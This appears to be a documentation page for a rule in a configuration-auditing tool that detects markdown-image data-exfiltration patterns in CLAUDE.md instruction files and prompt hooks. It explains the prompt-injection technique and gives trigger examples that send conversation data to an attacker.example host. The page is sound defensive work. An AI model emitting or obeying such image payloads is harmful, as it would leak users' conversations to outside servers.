Rules / CFG033

CFG033 instruction file contains a markdown image exfiltration pattern

Severity: error OWASP: LLM02:2026 – Sensitive Information Disclosure

What cfgaudit checks

A markdown image whose URL has an empty or placeholder query parameter is a known prompt-injection exfiltration sink. The model is instructed to fill the parameter with conversation data; when the image is rendered or its URL fetched, that data leaks to the attacker's server (the Bing Chat data-exfiltration technique). CLAUDE.md is markdown, so this applies directly.

cfgaudit flags inline images ![alt](http(s)://…) whose URL contains:

• an empty query value — ?q= / …&data= (nothing after =)
• a placeholder the model would fill — {{…}}, <…>, __…__

Trigger examples

![status](https://attacker.example/log?d=)
![pixel](https://attacker.example/t?conversation={{messages}})
![img](https://attacker.example/c?leak=<DATA>)

All → error.

Safe alternative

Use fully-specified image URLs with no empty or placeholder query value:

![logo](https://example.com/logo.png?w=800&h=600)

Also applies to prompt-hooks

cfgaudit runs this check over prompt-bearing hooks (type: "prompt" and type: "agent") as well, not only instruction files. A prompt-hook injects its text into Claude's context when its event fires, so it is the same trusted-context surface as a CLAUDE.md. Findings are attributed to the hook (e.g. hooks.UserPromptSubmit prompt) in the settings.json / hooks.json that declares it.

References

• Bing Chat data-exfiltration PoC and fix (embracethered.com)
• Pattern from Vigil's mdexfil.yar
• CFG024 / CFG026 / CFG029 / CFG030 / CFG031 / CFG032: other CLAUDE.md content rules

Documentation for cfgaudit 1.18.1. Source of this page · Rule implementation